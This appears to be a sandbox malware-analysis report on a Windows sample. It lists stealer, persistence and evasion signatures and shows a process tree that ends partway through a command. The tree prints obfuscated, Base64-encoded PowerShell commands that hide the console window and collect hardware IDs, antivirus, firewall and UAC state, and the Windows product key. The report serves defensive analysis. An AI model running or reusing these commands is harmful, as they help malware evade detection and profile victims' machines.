Overview

overview

8

Static

static

3

2026-07-20...t_.exe

windows10-2004-x64

8

2026-07-20...t_.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    67s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 08:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-20_dcb4dd17732d4411e1fe8b160b070f6c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  • Size 36.1MB
  • Sample260720-khlndset4z
  • SHA256 98e3ac54871d375b42a04422b6fc0a94c02144e158e84894dee05becf3335bb3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
credential_accessdefense_evasiondiscoveryexecutionpersistencespywarestealer

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Uses browser remote debugging 2 TTPs 23 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 13 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Hide Artifacts: Hidden Window 1 TTPs 3 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Executes a command shell one-liner 1 TTPs 48 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 6 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 12 IoCs
  • Kills process with taskkill 15 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-20_dcb4dd17732d4411e1fe8b160b070f6c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-20_dcb4dd17732d4411e1fe8b160b070f6c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:8
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10""
      2⤵
      • Hide Artifacts: Hidden Window
      • Suspicious use of WriteProcessMemory
      PID:5736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4792
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:928
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dhlbw5ll\dhlbw5ll.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4764
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES17E3.tmp" "c:\Users\Admin\AppData\Local\Temp\dhlbw5ll\CSC1121359F49B943CDB41C96481BF5C893.TMP"
            5⤵
              PID:3264
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2156
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:5680
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBHAFAAVQAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AVgBpAGQAZQBvAEMAbwBuAHQAcgBvAGwAbABlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQApAC4ATgBhAG0AZQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAGQAcgBpAHYAZQAgAD0AIABHAGUAdAAtAFAAUwBEAHIAaQB2AGUAIABDACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4ARABpAHMAawBGAHIAZQBlACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAByAGkAdgBlAC4AVQBzAGUAZAAgACsAIAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAKQAgAC8AIAAxAEcAQgAsACAAMgApAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwASQBEAEMAbwBuAGYAaQBnAEQAQgBcAEgAYQByAGQAdwBhAHIAZQAgAFAAcgBvAGYAaQBsAGUAcwBcADAAMAAwADEAJwAgAC0ATgBhAG0AZQAgAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoAaQBmACAAKAAtAG4AbwB0ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBFAG4AYQBiAGwAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAIAB9ACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABhAHYAIAA9ACAARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdAAvAFMAZQBjAHUAcgBpAHQAeQBDAGUAbgB0AGUAcgAyACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAEEAbgB0AGkAVgBpAHIAdQBzAFAAcgBvAGQAdQBjAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgAGkAZgAgACgAJABhAHYAKQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARABlAGYAZQBuAGQAZQByACAAPQAgACgAJABhAHYAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAGQAaQBzAHAAbABhAHkATgBhAG0AZQAgAH0AKQAgAC0AagBvAGkAbgAgACIALAAgACIAIAB9AAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEQAZQBmAGEAdQBsAHQAUAByAG8AZAB1AGMAdABLAGUAeQAnACAALQBOAGEAbQBlACAAUAByAG8AZAB1AGMAdABJAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFAAcgBvAGQAdQBjAHQASQBkAAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKAA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4800
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBHAFAAVQAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AVgBpAGQAZQBvAEMAbwBuAHQAcgBvAGwAbABlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQApAC4ATgBhAG0AZQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAGQAcgBpAHYAZQAgAD0AIABHAGUAdAAtAFAAUwBEAHIAaQB2AGUAIABDACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4ARABpAHMAawBGAHIAZQBlACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAByAGkAdgBlAC4AVQBzAGUAZAAgACsAIAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAKQAgAC8AIAAxAEcAQgAsACAAMgApAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwASQBEAEMAbwBuAGYAaQBnAEQAQgBcAEgAYQByAGQAdwBhAHIAZQAgAFAAcgBvAGYAaQBsAGUAcwBcADAAMAAwADEAJwAgAC0ATgBhAG0AZQAgAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoAaQBmACAAKAAtAG4AbwB0ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBFAG4AYQBiAGwAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAIAB9ACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABhAHYAIAA9ACAARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdAAvAFMAZQBjAHUAcgBpAHQAeQBDAGUAbgB0AGUAcgAyACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAEEAbgB0AGkAVgBpAHIAdQBzAFAAcgBvAGQAdQBjAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgAGkAZgAgACgAJABhAHYAKQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARABlAGYAZQBuAGQAZQByACAAPQAgACgAJABhAHYAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAGQAaQBzAHAAbABhAHkATgBhAG0AZQAgAH0AKQAgAC0AagBvAGkAbgAgACIALAAgACIAIAB9AAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8A